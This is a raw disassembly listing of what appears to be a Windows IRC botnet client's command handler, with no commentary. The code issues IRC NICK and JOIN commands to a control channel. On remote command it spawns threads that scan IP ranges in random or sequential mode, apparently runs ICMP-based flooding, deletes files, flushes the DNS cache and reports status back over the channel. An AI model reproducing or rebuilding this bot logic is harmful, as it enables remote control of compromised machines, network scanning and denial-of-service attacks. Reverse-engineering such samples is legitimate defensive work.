		pop	ecx
		jz	loc_40DAA2
		push	esi
		push	offset dword_420EEC
		push	edi
		call	sub_408486
		add	esp, 0Ch
		push	esi
		push	offset dword_420EC0
		jmp	loc_40DA9B
; ---------------------------------------------------------------------------


loc_40C18E:				; CODE XREF: sub_40997B+21C4j
					; sub_40997B+21DBj
		push	[ebp+var_94]
		push	offset a332	; "332"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409D24
		push	[ebp+arg_0]
		push	offset dword_420EB4
		push	edi
		call	sub_408486
		push	[ebp+arg_10]
		call	sub_40FB66
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_41A060	; Sleep
		push	[ebp+esi+var_8C]
		push	[ebp+arg_0]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	edi
		call	sub_408486
		push	offset dword_420E98
		call	sub_407A4E


loc_40C1ED:				; CODE XREF: sub_40997B+156Ej
		add	esp, 14h
		jmp	loc_40DAA2
; ---------------------------------------------------------------------------


loc_40C1F5:				; CODE XREF: sub_40997B+2196j
					; sub_40997B+21ADj
		cmp	[ebp+var_C], ebx
		jz	loc_40DAA2
		push	[ebp+arg_10]
		call	sub_40E730
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40E730
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4102A0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40DAA2
		push	esi
		lea	eax, [ebp+var_578]
		push	offset dword_420E8C
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	edi
		call	sub_4084CC
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset dword_420E60


loc_40C25D:				; CODE XREF: sub_40997B+293Fj
		call	sub_407AC2


loc_40C262:				; CODE XREF: sub_40997B+3F8Dj
		add	esp, 0Ch
		jmp	loc_40DAA2
; ---------------------------------------------------------------------------


loc_40C26A:				; CODE XREF: sub_40997B+2168j
					; sub_40997B+217Fj
		cmp	[ebp+var_C], ebx
		jz	loc_40DAA2
		push	[ebp+arg_10]
		call	sub_40E730
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40E730
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4102A0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40DAA2
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	edi
		call	sub_4084CC
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset dword_420E34
		jmp	short loc_40C25D
; ---------------------------------------------------------------------------


loc_40C2BC:				; CODE XREF: sub_40997B+2128j
					; sub_40997B+213Fj
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_4102A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DAA2
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	loc_40C364
		push	esi
		push	[ebp+var_C]
		call	sub_4102A0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40C34C
		push	esi
		lea	eax, [ebp+var_578]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	[ebp+var_98]
		push	offset dword_420E24
		push	eax
		call	sub_40EE10
		lea	eax, [ebp+var_578]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_410090
		add	esp, 24h
		lea	eax, [ebp+var_578]
		push	esi
		push	[ebp+arg_10]
		push	offset dword_420DE8
		push	eax
		call	sub_40EE10
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40D773
; ---------------------------------------------------------------------------


loc_40C34C:				; CODE XREF: sub_40997B+2974j
		lea	eax, [ebp+var_578]
		push	offset unk_420DB0
		push	eax
		call	sub_40EE10
		pop	ecx
		pop	ecx
		jmp	loc_40D773
; ---------------------------------------------------------------------------


loc_40C364:				; CODE XREF: sub_40997B+295Fj
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_1C]
		push	eax
		call	sub_40574C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 14h
		lea	eax, [ebp+var_578]
		push	[ebp+arg_10]
		push	offset dword_420D88
		push	200h
		push	eax
		call	sub_40E7AB
		add	esp, 10h
		jmp	loc_40D773
; ---------------------------------------------------------------------------


loc_40C3AC:				; CODE XREF: sub_40997B+20FAj
					; sub_40997B+2111j
		cmp	[ebp+var_C], ebx
		jz	loc_40DAA2
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_4102A0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40DAA2
		push	eax
		call	sub_404B9A
		test	eax, eax
		pop	ecx
		jnz	short loc_40C3DF
		push	offset unk_420D60
		jmp	loc_40B67A
; ---------------------------------------------------------------------------


loc_40C3DF:				; CODE XREF: sub_40997B+2A58j
		push	offset dword_420D3C
		jmp	loc_40B67A
; ---------------------------------------------------------------------------


loc_40C3E9:				; CODE XREF: sub_40997B+20CCj
					; sub_40997B+20E3j
		push	[ebp+arg_10]
		call	dword_41A0F8	; DeleteFileA
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_40C400
		push	offset dword_420D10
		jmp	short loc_40C40C
; ---------------------------------------------------------------------------


loc_40C400:				; CODE XREF: sub_40997B+2A7Cj
		push	offset dword_420CE4
		call	sub_404B10
		pop	ecx
		push	eax


loc_40C40C:				; CODE XREF: sub_40997B+2A83j
		lea	eax, [ebp+var_578]
		push	200h
		push	eax
		call	sub_40E7AB
		add	esp, 10h


loc_40C420:				; CODE XREF: sub_40997B+3FC3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40C43F
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 14h


loc_40C43F:				; CODE XREF: sub_40997B+2AA8j
					; sub_40997B+3EF6j
		mov	esi, [ebp+arg_24]


loc_40C442:				; CODE XREF: sub_40997B+2B13j
					; sub_40997B+2B2Fj ...
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_407A4E
		pop	ecx
		mov	eax, esi
		jmp	loc_409D27
; ---------------------------------------------------------------------------


loc_40C456:				; CODE XREF: sub_40997B+209Ej
					; sub_40997B+20B5j
		push	[ebp+arg_10]
		call	sub_40FB66
		push	eax
		call	sub_40DE07
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_40C477
		push	offset dword_420CB0
		jmp	short loc_40C47C
; ---------------------------------------------------------------------------


loc_40C477:				; CODE XREF: sub_40997B+2AF3j
		push	offset dword_420C70


loc_40C47C:				; CODE XREF: sub_40997B+2AFAj
					; sub_40997B+3EADj
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40C442
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 14h
		jmp	short loc_40C442
; ---------------------------------------------------------------------------


loc_40C4AC:				; CODE XREF: sub_40997B+2070j
					; sub_40997B+2087j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	edi
		call	sub_40DB61
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_40C4D0
		push	offset dword_420C40
		jmp	loc_40D92F
; ---------------------------------------------------------------------------


loc_40C4D0:				; CODE XREF: sub_40997B+2B49j
		push	offset dword_420C04
		jmp	loc_40D92F
; ---------------------------------------------------------------------------


loc_40C4DA:				; CODE XREF: sub_40997B+2042j
					; sub_40997B+2059j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_410090
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset dword_420BD0
		jmp	loc_40DA05
; ---------------------------------------------------------------------------


loc_40C4F7:				; CODE XREF: sub_40997B+2014j
					; sub_40997B+202Bj
		push	[ebp+arg_10]
		push	offset dword_420BCC
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C528
		call	sub_40E39F
		cmp	eax, ebx
		jle	short loc_40C51E
		push	eax
		push	offset dword_420B94
		jmp	loc_40B16E
; ---------------------------------------------------------------------------


loc_40C51E:				; CODE XREF: sub_40997B+2B96j
		push	offset unk_420B60
		jmp	loc_40D3DE
; ---------------------------------------------------------------------------


loc_40C528:				; CODE XREF: sub_40997B+2B8Dj
		mov	eax, [ebp+var_AC]
		inc	eax
		cmp	eax, 20h
		mov	[ebp+arg_8], eax
		jnb	loc_409D24
		lea	eax, [ebp+eax*4+var_98]
		mov	[ebp+arg_24], eax


loc_40C545:				; CODE XREF: sub_40997B+2C3Cj
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_409D24
		push	esi
		call	sub_40FB66
		push	eax
		call	sub_40E311
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40C56C
		push	offset dword_420B2C
		jmp	short loc_40C571
; ---------------------------------------------------------------------------


loc_40C56C:				; CODE XREF: sub_40997B+2BE8j
		push	offset dword_420AF0


loc_40C571:				; CODE XREF: sub_40997B+2BEFj
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40C59F
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 14h


loc_40C59F:				; CODE XREF: sub_40997B+2C08j
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_407A4E
		inc	[ebp+arg_8]
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_8], 20h
		pop	ecx
		jb	short loc_40C545
		jmp	loc_409D24
; ---------------------------------------------------------------------------


loc_40C5BE:				; CODE XREF: sub_40997B+1FE6j
					; sub_40997B+1FFDj
		cmp	[ebp+var_C], ebx
		jz	loc_40DAA2
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_4102A0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40DAA2
		push	esi
		push	offset dword_420AE8
		push	edi
		call	sub_408486
		add	esp, 0Ch
		push	esi
		push	offset dword_420AC0
		jmp	loc_40DA9B
; ---------------------------------------------------------------------------


loc_40C5F8:				; CODE XREF: sub_40997B+1FB8j
					; sub_40997B+1FCFj
		push	[ebp+arg_10]
		push	offset dword_420EB4
		push	edi
		call	sub_408486
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset dword_420A8C
		jmp	loc_40DA9B
; ---------------------------------------------------------------------------


loc_40C616:				; CODE XREF: sub_40997B+1F8Aj
					; sub_40997B+1FA1j
		push	[ebp+esi+var_90]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	edi
		call	sub_408486
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_420A58
		jmp	loc_40DA9B
; ---------------------------------------------------------------------------


loc_40C63B:				; CODE XREF: sub_40997B+1F5Cj
					; sub_40997B+1F73j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	edi
		call	sub_408486
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset dword_420A24
		jmp	loc_40DA9B
; ---------------------------------------------------------------------------


loc_40C659:				; CODE XREF: sub_40997B+1F17j
					; sub_40997B+1F2Ej ...
		cmp	dword_427404, ebx
		jnz	loc_40C773
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F0], eax
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_410090
		push	[ebp+esi+var_90]
		call	sub_40FB66
		push	[ebp+esi+var_8C]
		mov	[ebp+var_104], eax
		call	sub_40FB66
		push	[ebp+esi+var_88]
		mov	[ebp+var_100], eax
		call	sub_40FB66
		push	7Fh
		mov	[ebp+var_FC], eax
		push	[ebp+var_90]
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_410090
		add	esp, 24h
		lea	eax, [ebp+var_184]
		mov	[ebp+var_208], edi
		push	[ebp+var_FC]
		push	[ebp+var_100]
		push	eax
		lea	eax, [ebp+var_578]
		push	[ebp+var_104]
		push	offset dword_4209B8
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	0Eh
		push	eax
		call	sub_40E1D6
		add	esp, 24h
		mov	[ebp+var_F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_208]
		push	ebx
		push	eax
		push	offset sub_405CA0
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40C762


loc_40C74C:				; CODE XREF: sub_40997B+2DE5j
		cmp	[ebp+var_E8], ebx
		jnz	loc_40DA14
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40C74C
; ---------------------------------------------------------------------------


loc_40C762:				; CODE XREF: sub_40997B+2DCFj
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42096C
		jmp	loc_40DA05
; ---------------------------------------------------------------------------


loc_40C773:				; CODE XREF: sub_40997B+2CE4j
		push	1FFh
		lea	eax, [ebp+var_578]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_410090
		jmp	loc_40DA11
; ---------------------------------------------------------------------------


loc_40C78E:				; CODE XREF: sub_40997B+1ED2j
					; sub_40997B+1EE9j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_EC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F0], eax
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_410090
		push	[ebp+esi+var_90]
		call	sub_40FB66
		push	[ebp+esi+var_8C]
		mov	[ebp+var_104], eax
		call	sub_40FB66
		push	[ebp+esi+var_88]
		mov	[ebp+var_100], eax
		call	sub_40FB66
		mov	esi, [ebp+esi+var_84]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_FC], eax
		jz	short loc_40C804
		push	esi
		call	sub_40FB66
		pop	ecx
		mov	[ebp+var_F8], eax
		jmp	short loc_40C80A
; ---------------------------------------------------------------------------


loc_40C804:				; CODE XREF: sub_40997B+2E78j
		mov	[ebp+var_F8], ebx


loc_40C80A:				; CODE XREF: sub_40997B+2E87j
		push	7Fh
		lea	eax, [ebp+var_204]
		push	[ebp+var_90]
		push	eax
		call	sub_410090
		add	esp, 0Ch
		lea	eax, [ebp+var_184]
		mov	[ebp+var_208], edi
		push	[ebp+var_FC]
		push	[ebp+var_100]
		push	eax
		lea	eax, [ebp+var_578]
		push	[ebp+var_104]
		push	offset dword_4208E8
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	0Fh
		push	eax
		call	sub_40E1D6
		add	esp, 24h
		mov	[ebp+var_F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_208]
		push	ebx
		push	eax
		push	offset sub_405E2C
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40C8AE


loc_40C898:				; CODE XREF: sub_40997B+2F31j
		cmp	[ebp+var_E8], ebx
		jnz	loc_40B17D
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40C898
; ---------------------------------------------------------------------------


loc_40C8AE:				; CODE XREF: sub_40997B+2F1Bj
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4208A0
		jmp	loc_40B16E
; ---------------------------------------------------------------------------


loc_40C8BF:				; CODE XREF: sub_40997B+1EA4j
					; sub_40997B+1EBBj
		push	edi
		call	sub_404F3A
		push	eax
		call	sub_404E6A
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C8FE
		push	[ebp+var_90]
		mov	esi, offset aF_1 ; "#f"
		push	esi
		call	dword_41A10C	; lstrcmpi
		test	eax, eax
		jz	short loc_40C8FE
		cmp	[ebp+var_6C0], bl
		jz	short loc_40C8FE
		push	[ebp+arg_C]
		push	esi


loc_40C8F3:				; CODE XREF: sub_40997B+2281j
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	edi
		jmp	loc_409D1C
; ---------------------------------------------------------------------------


loc_40C8FE:				; CODE XREF: sub_40997B+2F54j
					; sub_40997B+2F6Aj ...
		mov	al, byte_41FC12
		mov	edx, offset byte_41FC12
		cmp	al, bl
		jz	loc_409D24
		mov	ecx, edx


loc_40C912:				; CODE XREF: sub_40997B+2F9Cj
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40C912
		cmp	al, bl
		jz	loc_409D24
		mov	[ebp+arg_4], edx


loc_40C924:				; CODE XREF: sub_40997B+3386j
		push	8
		call	sub_40E41E
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_40FB66
		add	eax, esi
		pop	ecx
		cmp	eax, 320h
		pop	ecx
		jle	short loc_40C971
		push	esi
		lea	eax, [ebp+var_578]
		push	offset unk_420850
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 20h
		jmp	loc_40CCF8
; ---------------------------------------------------------------------------


loc_40C971:				; CODE XREF: sub_40997B+2FC3j
		push	[ebp+arg_10]
		call	sub_40FB66
		or	[ebp+var_100], 0FFFFFFFFh
		cmp	dword_41E0F8, ebx
		pop	ecx
		mov	[ebp+var_104], eax
		mov	[ebp+var_118], 5
		mov	[ebp+var_114], ebx
		mov	[ebp+arg_24], ebx
		jz	short loc_40C9E3
		mov	esi, offset dword_41E0F8


loc_40C9A7:				; CODE XREF: sub_40997B+304Aj
		mov	eax, [ebp+arg_4]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [esi-28h]
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C9C9
		inc	[ebp+arg_24]
		add	esi, 38h
		cmp	[esi], ebx
		jnz	short loc_40C9A7
		jmp	short loc_40C9E3
; ---------------------------------------------------------------------------


loc_40C9C9:				; CODE XREF: sub_40997B+3040j
		mov	eax, [ebp+arg_24]
		mov	ecx, eax
		mov	[ebp+var_100], eax
		imul	ecx, 38h
		mov	ecx, dword_41E0F8[ecx]
		mov	[ebp+var_11C], ecx


loc_40C9E3:				; CODE XREF: sub_40997B+3025j
					; sub_40997B+304Cj
		cmp	[ebp+var_11C], ebx
		jz	loc_40BD1A
		cmp	[ebp+var_6CB], bl
		jnz	short loc_40CA1B
		cmp	[ebp+var_6CA], bl
		jnz	short loc_40CA1B
		cmp	[ebp+var_6BA], bl
		jnz	short loc_40CA1B
		cmp	[ebp+var_6B3], bl
		jnz	short loc_40CA1B
		cmp	[ebp+var_6B5], bl
		jz	loc_40BE8D


loc_40CA1B:				; CODE XREF: sub_40997B+307Aj
					; sub_40997B+3082j ...
		push	10h
		lea	eax, [ebp+arg_1C]
		pop	esi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	edi
		mov	[ebp+arg_1C], esi
		call	dword_4272B8	; getsockname
		mov	al, [ebp+var_6CB]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_D4], eax
		push	[ebp+var_D4]
		call	dword_4273A0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_410090
		add	esp, 0Ch
		cmp	[ebp+var_6BA], bl
		jz	short loc_40CAC6
		xor	eax, eax
		cmp	[ebp+var_6CB], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_410A60
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	loc_40CB9C


loc_40CA9B:				; CODE XREF: sub_40997B+3144j
		cmp	eax, ebx
		jz	loc_40CB9C
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_230]
		push	30h
		push	eax
		call	sub_410A60
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_40CA9B
		jmp	loc_40CB9C
; ---------------------------------------------------------------------------


loc_40CAC6:				; CODE XREF: sub_40997B+30F4j
		cmp	[ebp+var_6B3], bl
		jnz	short loc_40CAE1
		cmp	[ebp+var_6B5], bl
		jnz	short loc_40CAE1
		mov	[ebp+var_F0], ebx
		jmp	loc_40CBA6
; ---------------------------------------------------------------------------


loc_40CAE1:				; CODE XREF: sub_40997B+3151j
					; sub_40997B+3159j
		or	eax, 0FFFFFFFFh
		mov	[ebp+arg_8], eax
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_18], eax
		mov	[ebp+arg_C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_230]
		push	offset dword_41E35C
		push	eax
		call	sub_40F871
		add	esp, 18h
		call	sub_410198
		mov	[ebp+arg_24], eax
		fild	[ebp+arg_24]
		fmul	dbl_41A2C0
		fmul	dbl_41A2B8
		call	sub_40EF84
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_18], ebx
		shl	eax, 8
		add	eax, [ebp+arg_8]
		mov	[ebp+arg_C], ebx
		push	eax
		call	dword_4273A0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_230]
		push	offset dword_41FB7C
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		cmp	[ebp+var_6B5], bl
		mov	[ebp+var_F0], ebx
		jz	short loc_40CBA6
		lea	eax, [ebp+var_230]
		push	30h
		push	eax
		call	sub_410A60
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		pop	ecx


loc_40CB7C:				; CODE XREF: sub_40997B+321Fj
		cmp	eax, ebx
		jz	short loc_40CB9C
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_230]
		push	30h
		push	eax
		call	sub_410A60
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		cmp	byte ptr [ebp+arg_24+3], 2
		pop	ecx
		jl	short loc_40CB7C


loc_40CB9C:				; CODE XREF: sub_40997B+311Aj
					; sub_40997B+3122j ...
		mov	[ebp+var_F0], 1


loc_40CBA6:				; CODE XREF: sub_40997B+3161j
					; sub_40997B+31ECj
		mov	eax, [ebp+var_4]
		push	[ebp+var_90]
		mov	[ebp+var_F8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F4], eax
		lea	eax, [ebp+var_220]
		push	80h
		push	eax
		mov	[ebp+var_120], edi
		call	sub_40E7AB
		mov	esi, offset aF	; "#f"
		push	offset byte_424EF4
		push	esi
		call	sub_40FB80
		add	esp, 14h
		test	eax, eax
		jz	short loc_40CC03
		push	esi
		lea	eax, [ebp+var_1A0]
		push	80h
		push	eax
		call	sub_40E7AB
		add	esp, 0Ch
		jmp	short loc_40CC09
; ---------------------------------------------------------------------------


loc_40CC03:				; CODE XREF: sub_40997B+326Fj
		mov	[ebp+var_1A0], bl


loc_40CC09:				; CODE XREF: sub_40997B+3286j
		cmp	[ebp+var_F0], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40CC1B
		mov	eax, offset aSequential	; "Sequential"


loc_40CC1B:				; CODE XREF: sub_40997B+3299j
		push	[ebp+var_104]
		lea	ecx, [ebp+var_230]
		push	[ebp+var_114]
		push	[ebp+var_118]
		push	[ebp+var_11C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_578]
		push	offset dword_4207C4
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	8
		push	eax
		call	sub_40E1D6
		add	esp, 2Ch
		mov	[ebp+var_110], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_230]
		push	ebx
		push	eax
		push	offset sub_4039C6
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_110]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40CCA5


loc_40CC93:				; CODE XREF: sub_40997B+3328j
		cmp	[ebp+var_EC], ebx
		jnz	short loc_40CCC0
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40CC93
; ---------------------------------------------------------------------------


loc_40CCA5:				; CODE XREF: sub_40997B+3316j
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_578]
		push	offset dword_42077C
		push	eax
		call	sub_40EE10
		add	esp, 0Ch


loc_40CCC0:				; CODE XREF: sub_40997B+331Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_40CCDF
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 14h


loc_40CCDF:				; CODE XREF: sub_40997B+3348j
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_407A4E
		mov	[esp+0E60h+var_E60], 3E8h
		call	dword_41A060	; Sleep


loc_40CCF8:				; CODE XREF: sub_40997B+2FF1j
		add	[ebp+arg_4], 0Bh
		mov	eax, [ebp+arg_4]
		cmp	[eax], bl
		jnz	loc_40C924
		jmp	loc_409D24
; ---------------------------------------------------------------------------


loc_40CD0C:				; CODE XREF: sub_40997B+1A9Ej
					; sub_40997B+1AB5j
		mov	esi, [ebp+esi+var_94]
		cmp	esi, ebx
		jz	short loc_40CD1F
		push	esi
		call	sub_40FB66
		jmp	short loc_40CD26
; ---------------------------------------------------------------------------


loc_40CD1F:				; CODE XREF: sub_40997B+339Aj
		push	8
		call	sub_40E43D


loc_40CD26:				; CODE XREF: sub_40997B+33A2j
		cmp	eax, ebx
		pop	ecx
		jz	loc_40DAA2
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_90]
		push	edi
		call	sub_403430


loc_40CD3F:				; CODE XREF: sub_40997B+3D11j
		add	esp, 10h
		jmp	loc_40DAA2
; ---------------------------------------------------------------------------


loc_40CD47:				; CODE XREF: sub_40997B+1A70j
					; sub_40997B+1A87j
		mov	eax, dword_42723C
		cmp	eax, ebx
		jz	short loc_40CD78
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_40CD5D
		push	offset unk_420750
		jmp	short loc_40CD62
; ---------------------------------------------------------------------------


loc_40CD5D:				; CODE XREF: sub_40997B+33D9j
		push	offset unk_42071C


loc_40CD62:				; CODE XREF: sub_40997B+33E0j
					; sub_40997B+3402j
		lea	eax, [ebp+var_578]
		push	200h
		push	eax
		call	sub_40E7AB
		jmp	loc_40D93B
; ---------------------------------------------------------------------------


loc_40CD78:				; CODE XREF: sub_40997B+33D3j
		push	offset unk_4206E8
		jmp	short loc_40CD62
; ---------------------------------------------------------------------------


loc_40CD7F:				; CODE XREF: sub_40997B+19ABj
					; sub_40997B+19C2j
		or	[ebp+arg_4], 0FFFFFFFFh
		call	dword_41A090	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_94]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40CDAA
		push	esi
		call	sub_40FB66
		pop	ecx
		mov	[ebp+arg_4], eax


loc_40CDAA:				; CODE XREF: sub_40997B+3423j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, [ebp+arg_4]
		jnb	short loc_40CDC5
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jnz	loc_40DAA2


loc_40CDC5:				; CODE XREF: sub_40997B+343Ej
		push	ebx
		call	sub_4053E4
		pop	ecx
		push	eax
		lea	eax, [ebp+var_578]
		push	offset dword_4206C4
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_407A4E
		add	esp, 24h
		jmp	loc_40DAA2
; ---------------------------------------------------------------------------


loc_40CE09:				; CODE XREF: sub_40997B+197Dj
					; sub_40997B+1994j
		mov	eax, [ebp+esi+var_94]
		push	7Fh
		mov	[ebp+arg_10], eax
		push	eax
		lea	eax, [ebp+var_2F4]
		push	eax
		call	sub_410090
		mov	eax, [ebp+esi+var_90]
		push	7Fh
		mov	[ebp+arg_0], eax
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_410090
		mov	esi, [ebp+esi+var_8C]
		push	7Fh
		lea	eax, [ebp+var_1F4]
		push	esi
		push	eax
		call	sub_410090
		push	7Fh
		lea	eax, [ebp+var_174]
		push	[ebp+var_90]
		push	eax
		call	sub_410090
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	[ebp+var_F0], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_EC], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_578]
		mov	[ebp+var_2F8], edi
